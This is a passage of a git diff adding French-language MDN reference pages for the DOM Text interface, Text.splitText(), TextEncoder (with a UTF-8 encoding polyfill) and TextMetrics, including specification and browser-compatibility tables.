+ <dt>{{domxref("Text.Text", "Text()")}} {{experimental_inline}}</dt>
+ <dd>Retourne un noeud <code>Text</code> avec le paramètre comme contenu textuel.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent {{domxref("CharacterData")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Text.isElementContentWhitespace")}} {{readonlyInline}}{{ obsolete_inline() }}</dt>
+ <dd>
+ <p>Renvoie une marque {{domxref("Boolean")}} indiquant si le noeud de texte contient uniquement des espaces.</p>
+ </dd>
+ <dt>{{domxref("Text.wholeText")}} {{readonlyInline}}</dt>
+ <dd>Renvoie une {{domxref("DOMString")}} (<em>chaîne de caractères</em>) contenant le texte de tous les noeuds <code>Text</code> adjacents logiquement à ce {{domxref("Node")}}, concaténé dans l'ordre du document.</dd>
+ <dt>{{domxref("Text.assignedSlot")}} {{readonlyinline}}</dt>
+ <dd>Retourne l'objet {{domxref("HTMLSlotElement")}}  associé à l'élément.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite des méthodes de son parent {{domxref("CharacterData")}}.</em></p>
+
+<dl>
+</dl>
+
+<dl>
+ <dt>{{domxref("Text.replaceWholeText")}} {{ obsolete_inline() }}</dt>
+ <dd>Remplace le texte du noeud en cours et tous les noeuds logiquement adjacents avec le texte spécifié.</dd>
+</dl>
+
+<dl>
+ <dt><span class="internal">{{domxref("Text.splitText")}}</span></dt>
+ <dd>Fractionne le noeud en deux noeuds selon un décalage spécifié.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#text', 'Text')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Suppression de la propriété <code>isElementContentWhitespace</code>.<br>
+    Suppression de la méthode <code>replaceWholeText()</code>.<br>
+    Ajout du constructeur <code>Text()</code>.<br>
+    Ajout de la propriété <code>assignedSlot</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Ajout des propriétés <code>isElementContentWhitespace</code> et <code>wholeText</code>.<br>
+    Ajout de la méthode <code>replaceWholeText()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-1312295772', 'Text')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0 [3]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [3]</td>
+   <td>{{CompatVersionUnknown}} [4]</td>
+  </tr>
+  <tr>
+   <td><code>wholeText</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isElementContentWhitespace</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    Removed in {{CompatGeckoDesktop("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>replaceWholeText</code></td>
+   <td>{{CompatVersionUnknown}} [1] [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}<br>
+    Removed in {{CompatGeckoDesktop("10")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1] [2]</td>
+   <td>{{CompatVersionUnknown}} [4]</td>
+  </tr>
+  <tr>
+   <td><code>Text()</code> constructor</td>
+   <td>28.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}} [3]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [3]</td>
+   <td>{{CompatVersionUnknown}} [4]</td>
+  </tr>
+  <tr>
+   <td><code>wholeText</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>isElementContentWhitespace</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    Removed in {{CompatGeckoMobile("10")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>replaceWholeText</code></td>
+   <td>{{CompatVersionUnknown}} [1] [2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.9.1")}}<br>
+    Removed in {{CompatGeckoMobile("10")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1] [2]</td>
+   <td>{{CompatVersionUnknown}} [4]</td>
+  </tr>
+  <tr>
+   <td><code>Text()</code> constructor</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("24.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chromium envisage actuellement de laisser tomber son support.</p>
+
+<p>[2] Avant Chrome 30 et Opera 17, l'argument n'était pas obligatoire, comme requis par la spécification.</p>
+
+<p>[3] Avant Chrome 30 et Opera 17, l'argument <code>splitText()</code> n'était pas obligatoire, tel que requis par la spécification et mis en œuvre par les navigateurs IE et Gecko.</p>
+
+<p>[4] L'argument n'est pas obligatoire, bien que requis par la spécification.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model" title="/en-US/docs/DOM/DOM_Reference">Référence du DOM</a></li>
+</ul>
diff --git a/files/fr/web/api/text/splittext/index.html b/files/fr/web/api/text/splittext/index.html
new file mode 100644
index 0000000000..034a953e46
--- /dev/null
+++ b/files/fr/web/api/text/splittext/index.html
@@ -0,0 +1,142 @@
+---
+title: Text.splitText()
+slug: Web/API/Text/splitText
+translation_of: Web/API/Text/splitText
+---
+<div>{{apiref("DOM")}}</div>
+
+<p>La méthode <strong><code>Text.splitText()</code></strong> sépare le nœud {{domxref("Text")}} en deux nœuds au niveau de l’indice spécifié, et conserve les deux nœuds dans l’arbre en tant que voisins.</p>
+
+<p>Après la séparation, le nœud actuel contient tout le texte jusqu’à l’indice spécifié, et un nœud nouvellement créé du même type contient le texte restant. Le nœud nouvellement créé est retourné à l’appelant. Si le nœud original avait un parent, le nouveau nœud est inséré en tant que voisin suivant du nœud original. Si l’indice est égal à la longueur du nœud original, le nœud nouvellement créé ne contient pas de données.</p>
+
+<p>Des nœuds texte séparés peuvent être concaténés en utilisant la méthode {{domxref("Node.normalize()")}}.</p>
+
+<p>Une {{domxref("DOMException")}} avec la valeur <code>INDEX_SIZE_ERR</code> est levée si l’indice spécifié est négatif ou est supérieur au nombre d’unités 16-bit dans le texte du nœud ; une {{domxref("DOMException")}} avec la valeur <code>NO_MODIFICATION_ALLOWED_ERR</code> est levée si le nœud est en lecture seule.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>noeudRemplacant</em> = <em>noeudTexte</em>.splitText(indice)
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans cet exemple, le nœud texte d’un {{HTMLElement("p")}} est séparé en deux nœuds texte et un {{HTMLElement("span")}} est inséré entre les deux.</p>
+
+<pre class="brush:html">&lt;body&gt;
+  &lt;p id="p"&gt;foobar&lt;/p&gt;
+
+  &lt;script type="text/javascript"&gt;
+    var p = document.getElementById('p');
+    var noeudTexte = p.firstChild;
+
+    // coupe entre foo et bar
+    var noeudRemplacant = noeudTexte.splitText(3);
+
+    // crée un span avec ' contenu du span '
+    var span = document.createElement('span');
+    span.appendChild(document.createTextNode(' contenu du span '));
+
+    // ajoute le span avant 'bar'
+    p.insertBefore(span, noeudRemplacant);
+
+    // le résultat est &lt;p id="p"&gt;foo&lt;span&gt; contenu du span &lt;/span&gt;bar&lt;/p&gt;
+  &lt;/script&gt;
+&lt;/body&gt;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-text-splittext', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM3 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-38853C1D', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Pas de changement depuis {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-38853C1D', 'Text.splitText')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>1.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}} [2]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Chrome 30 et Opera 17, l’argument de <code>splitText()</code> n’était pas obligatoire, tel que requis par la spécification et implementé par IE et les navigateurs basés sur Gecko.</p>
+
+<p>[2] L’argument n’est pas obligatoire, bien que requis par la spec.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L’interface {{domxref("Text")}} à laquelle cette méthode appartient.</li>
+ <li>La méthode opposée : {{domxref("Node.normalize")}}.</li>
+</ul>
diff --git a/files/fr/web/api/textencoder/index.html b/files/fr/web/api/textencoder/index.html
new file mode 100644
index 0000000000..34f0803a9b
--- /dev/null
+++ b/files/fr/web/api/textencoder/index.html
@@ -0,0 +1,149 @@
+---
+title: TextEncoder
+slug: Web/API/TextEncoder
+tags:
+  - API
+  - Encoding
+  - Experimental
+  - Interface
+  - Reference
+  - TextEncoder
+translation_of: Web/API/TextEncoder
+---
+<p>{{APIRef("Encoding API")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>TextEncoder</strong></code> prend un flux de points de code en entrée et émet un flux d'octets. Pour une bibliothèque non native plus extensible, voir <a href="/en-US/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – une représentation des chaînes de caractères proche de celle de C basée sur les tableaux typés</a>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Firefox, Chrome et Opera ont pour habitude de supporter les types d'encodage autres que <code>utf-8</code> (tels que <code>utf-16</code>, <code>iso-8859-2</code>, <code>koi8</code>, <code>cp1261</code>, et <code>gbk</code>). À partir de Firefox 48 ({{bug(1257877)}}), Chrome 54 (<a href="https://www.chromestatus.com/feature/5630760492990464">ticket</a>) et Opera 41, aucun type d'encodage autre que <code>utf-8</code> n'est disponible, de manière à être en accord avec la <a href="https://www.w3.org/TR/encoding/#dom-textencoder">spécification</a>. Dans tous les cas, passer un type d'encodage au constructeur sera ignoré et un TextEncoder utf-8 sera créé (le {{DOMxRef("TextDecoder")}} permet toujours d'autres types pour le décodage).</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Il y a une prothèse d'émulation d'implantation pour supporter tous les encodages hérités dans <a href="https://github.com/inexorabletash/text-encoding">GitHub</a>.</p>
+</div>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{DOMxRef("TextEncoder.TextEncoder", "TextEncoder()")}}</dt>
+ <dd>Retourne une nouvel objet <code>TextEncoder</code> qui génèrera un flux d'octets encodés en utf-8.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface <code>TextEncoder</code> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{DOMxRef("TextEncoder.encoding")}}{{ReadOnlyInline}}</dt>
+ <dd>{{DOMxRef("DOMString")}} contenant le nom de l'encodeur, qui est une chaîne de caractères décrivant la méthode que l'objet <code>TextEncoder</code> utilisera.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+</dl>
+
+<p><em><em>L'interface <code>TextEncoder</code> n'hérite d'aucune propriété</em></em>.</p>
+
+<dl>
+ <dt>{{DOMxRef("TextEncoder.encode()")}}</dt>
+ <dd>Retourne un <a href="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array" title="/en-US/docs/Web/JavaScript/Typed_arrays/Uint8Array"><code>Uint8Array</code></a> conternant un texte encodé en utf-8.</dd>
+</dl>
+
+<h2 id="Prothèse_d'émulation">Prothèse d'émulation</h2>
+
+<p>La prothèse d'émulation ci-dessous va uniquement répondre aux spécifications données par le W3 (par d'autre type d'encodage que UTF-8 n'est supporté, malheureusement ☹️). Elle est conçue pour fonctionner "clé en main" avec IE5. Toutefois, de IE5 à IE9, elle retournera un tableau normal plutôt qu'un tableau typé. Dans de telles circonstances et avec des navigateurs si lents, cette prothèse (ou tout autre ayant le même objectif) serait inutilisable pour de longues chaînes de caractères avec ces vieux navigateurs. Enfin, notez que vous devriez exécuter le code ci-dessous avec un minifieur (et plus particulièrement un compilateur ) to turn sequences like <code>0x1e &lt;&lt; 3</code> into <code>0xf0</code>. These sequences are not already precomputed because they serve to aesthetically illustrate how the polyfill works.</p>
+
+<pre class="brush: js">if (typeof TextEncoder === "undefined") {
+    TextEncoder=function TextEncoder(){};
+    TextEncoder.prototype.encode = function encode(str) {
+        "use strict";
+        var Len = str.length, resPos = -1;
+        // The Uint8Array's length must be at least 3x the length of the string because an invalid UTF-16
+        //  takes up the equivelent space of 3 UTF-8 characters to encode it properly. However, Array's
+        //  have an auto expanding length and 1.5x should be just the right balance for most uses.
+        var resArr = typeof Uint8Array === "undefined" ? new Array(Len * 1.5) : new Uint8Array(Len * 3);
+        for (var point=0, nextcode=0, i = 0; i !== Len; ) {
+            point = str.charCodeAt(i), i += 1;
+            if (point &gt;= 0xD800 &amp;&amp; point &lt;= 0xDBFF) {
+                if (i === Len) {
+                    resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/;
+                    resArr[resPos += 1] = 0xbd/*0b10111101*/; break;
+                }
+                // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae
+                nextcode = str.charCodeAt(i);
+                if (nextcode &gt;= 0xDC00 &amp;&amp; nextcode &lt;= 0xDFFF) {
+                    point = (point - 0xD800) * 0x400 + nextcode - 0xDC00 + 0x10000;
+                    i += 1;
+                    if (point &gt; 0xffff) {
+                        resArr[resPos += 1] = (0x1e/*0b11110*/&lt;&lt;3) | (point&gt;&gt;&gt;18);
+                        resArr[resPos += 1] = (0x2/*0b10*/&lt;&lt;6) | ((point&gt;&gt;&gt;12)&amp;0x3f/*0b00111111*/);
+                        resArr[resPos += 1] = (0x2/*0b10*/&lt;&lt;6) | ((point&gt;&gt;&gt;6)&amp;0x3f/*0b00111111*/);
+                        resArr[resPos += 1] = (0x2/*0b10*/&lt;&lt;6) | (point&amp;0x3f/*0b00111111*/);
+                        continue;
+                    }
+                } else {
+                    resArr[resPos += 1] = 0xef/*0b11101111*/; resArr[resPos += 1] = 0xbf/*0b10111111*/;
+                    resArr[resPos += 1] = 0xbd/*0b10111101*/; continue;
+                }
+            }
+            if (point &lt;= 0x007f) {
+                resArr[resPos += 1] = (0x0/*0b0*/&lt;&lt;7) | point;
+            } else if (point &lt;= 0x07ff) {
+                resArr[resPos += 1] = (0x6/*0b110*/&lt;&lt;5) | (point&gt;&gt;&gt;6);
+                resArr[resPos += 1] = (0x2/*0b10*/&lt;&lt;6)  | (point&amp;0x3f/*0b00111111*/);
+            } else {
+                resArr[resPos += 1] = (0xe/*0b1110*/&lt;&lt;4) | (point&gt;&gt;&gt;12);
+                resArr[resPos += 1] = (0x2/*0b10*/&lt;&lt;6)    | ((point&gt;&gt;&gt;6)&amp;0x3f/*0b00111111*/);
+                resArr[resPos += 1] = (0x2/*0b10*/&lt;&lt;6)    | (point&amp;0x3f/*0b00111111*/);
+            }
+        }
+        if (typeof Uint8Array !== "undefined") return resArr.subarray(0, resPos + 1);
+        // else // IE 6-9
+        resArr.length = resPos + 1; // trim off extra weight
+        return resArr;
+    };
+    TextEncoder.prototype.toString = function(){return "[object TextEncoder]"};
+    try { // Object.defineProperty only works on DOM prototypes in IE8
+        Object.defineProperty(TextEncoder.prototype,"encoding",{
+            get:function(){if(TextEncoder.prototype.isPrototypeOf(this)) return"utf-8";
+                           else throw TypeError("Illegal invocation");}
+        });
+    } catch(e) { /*IE6-8 fallback*/ TextEncoder.prototype.encoding = "utf-8"; }
+    if(typeof Symbol!=="undefined")TextEncoder.prototype[Symbol.toStringTag]="TextEncoder";
+}
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Encoding", "#interface-textencoder", "TextEncoder")}}</td>
+   <td>{{Spec2("Encoding")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.TextEncoder")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{DOMxRef("TextDecoder")}} interface describing the inverse operation.</li>
+ <li><a href="/en-US/Add-ons/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> – a C-like representation of strings based on typed arrays</li>
+ <li>A <a href="https://github.com/inexorabletash/text-encoding" title="http://code.google.com/p/stringencoding/">shim</a> allowing to use this interface in browsers that don't support it.</li>
+ <li><code><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></code></li>
+</ul>
diff --git a/files/fr/web/api/textencoder/textencoder/index.html b/files/fr/web/api/textencoder/textencoder/index.html
new file mode 100644
index 0000000000..3c00dcf5c5
--- /dev/null
+++ b/files/fr/web/api/textencoder/textencoder/index.html
@@ -0,0 +1,66 @@
+---
+title: TextEncoder()
+slug: Web/API/TextEncoder/TextEncoder
+translation_of: Web/API/TextEncoder/TextEncoder
+---
+<p>{{APIRef("Encoding API")}}</p>
+
+<p>Le constructeur <code><strong>TextEncoder()</strong></code> retourne un nouvel objet {{DOMxRef("TextEncoder")}} utf-8.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>encoder</var> = new TextEncoder();
+</pre>
+
+<h3 id="Paramètre">Paramètre</h3>
+
+<ul>
+ <li><code>TextEncoder()</code> ne prend plus de paramètre depuis Firefox 48 et Chrome 53.</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Avant Firefox 48 et Chrome 53, le nom de l'encodage était accepté comme un paramètre pour l'objet <code>TextEncoder</code>, depuis ces deux navigateurs ont supprimé le support pour les encodages autres que l'<code>utf-8</code> afin de respecté les <a href="https://www.w3.org/TR/encoding/#dom-textencoder">spécifications</a>. N'importe quel indication d'encodage passé au constructeur sera ignoré et un <code>utf-8</code> <code>TextEncoder</code> sera créé.</p>
+</div>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<ul>
+ <li><code>TextEncoder()</code> ne lève plus d’exception depuis Firefox 48 et Chrome 53</li>
+</ul>
+
+<div class="blockIndicator note">
+<p><strong>Note</strong>: Avant Firefox 48 et Chrome 53, une exception était levée pour les types d'encodage inconnu.</p>
+</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statu</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Encoding", "#dom-textencoder", "TextEncoder()")}}</td>
+   <td>{{Spec2("Encoding")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.TextEncoder.TextEncoder")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{DOMxRef("TextEncoder")}} appartenant à ce constructeur.</li>
+</ul>
diff --git a/files/fr/web/api/textmetrics/index.html b/files/fr/web/api/textmetrics/index.html
new file mode 100644
index 0000000000..f73fc61343
--- /dev/null
+++ b/files/fr/web/api/textmetrics/index.html
@@ -0,0 +1,182 @@
+---
+title: TextMetrics
+slug: Web/API/TextMetrics
+tags:
+  - API
+  - Canevas
+  - Reference
+  - TextMetrics
+translation_of: Web/API/TextMetrics
+---
+<div>{{APIRef("Canvas API")}}</div>
+
+<p>L'interface <strong>TextMetrics</strong> représente la dimension d'un texte dans le canevas, tel que créée par la méthode {{domxref ("CanvasRenderingContext2D.measureText()")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("TextMetrics.width")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la largeur calculée en pixels CSS d'un segment de texte en ligne. Il prend en compte la police en cours du contexte.</dd>
+ <dt>{{domxref("TextMetrics.actualBoundingBoxLeft")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS parallèlement à la ligne de base entre le point d'alignement donné par la propriété {{domxref ("CanvasRenderingContext2D.textAlign")}}, et le côté gauche du rectangle délimitant du texte donné.</dd>
+ <dt>{{domxref("TextMetrics.actualBoundingBoxRight")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS parallèlement à la ligne de base entre le point d'alignement donné par la propriété {{domxref ("CanvasRenderingContext2D.textAlign")}}, et le côté droit du rectangle délimitant du texte donné.</dd>
+ <dt>{{domxref("TextMetrics.fontBoundingBoxAscent")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du rectangle de délimitation le plus élevé de toutes les polices utilisées pour restituer le texte.</dd>
+ <dt>{{domxref("TextMetrics.fontBoundingBoxDescent")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du rectangle délimitant de toutes les polices utilisées pour restituer le texte.</dd>
+ <dt>{{domxref("TextMetrics.actualBoundingBoxAscent")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du rectangle de délimitation utilisé pour restituer le texte.</dd>
+ <dt>{{domxref("TextMetrics.actualBoundingBoxDescent")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par l'attribut {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et  le bas du rectangle de délimitation utilisé pour restituer le texte.</dd>
+ <dt>{{domxref("TextMetrics.emHeightAscent")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le haut du carré <em>em</em> dans la boîte de ligne.</dd>
+ <dt>{{domxref("TextMetrics.emHeightDescent")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et le bas du carré <em>em</em> dans la boîte de ligne.</dd>
+ <dt>{{domxref("TextMetrics.hangingBaseline")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base supérieure de la boîte de ligne.</dd>
+ <dt>{{domxref("TextMetrics.alphabeticBaseline")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base alphabétique de la boîte de ligne.</dd>
+ <dt>{{domxref("TextMetrics.ideographicBaseline")}} {{readonlyInline}}</dt>
+ <dd>est un <code>double</code> donnant la distance en pixels CSS entre la ligne horizontale indiquée par la propriété {{domxref ("CanvasRenderingContext2D.textBaseline")}}, et la ligne de base idéographique de la boîte de ligne.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html#textmetrics", "TextMetrics")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Support de base</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.8")}}</td>
+   <td>9.0</td>
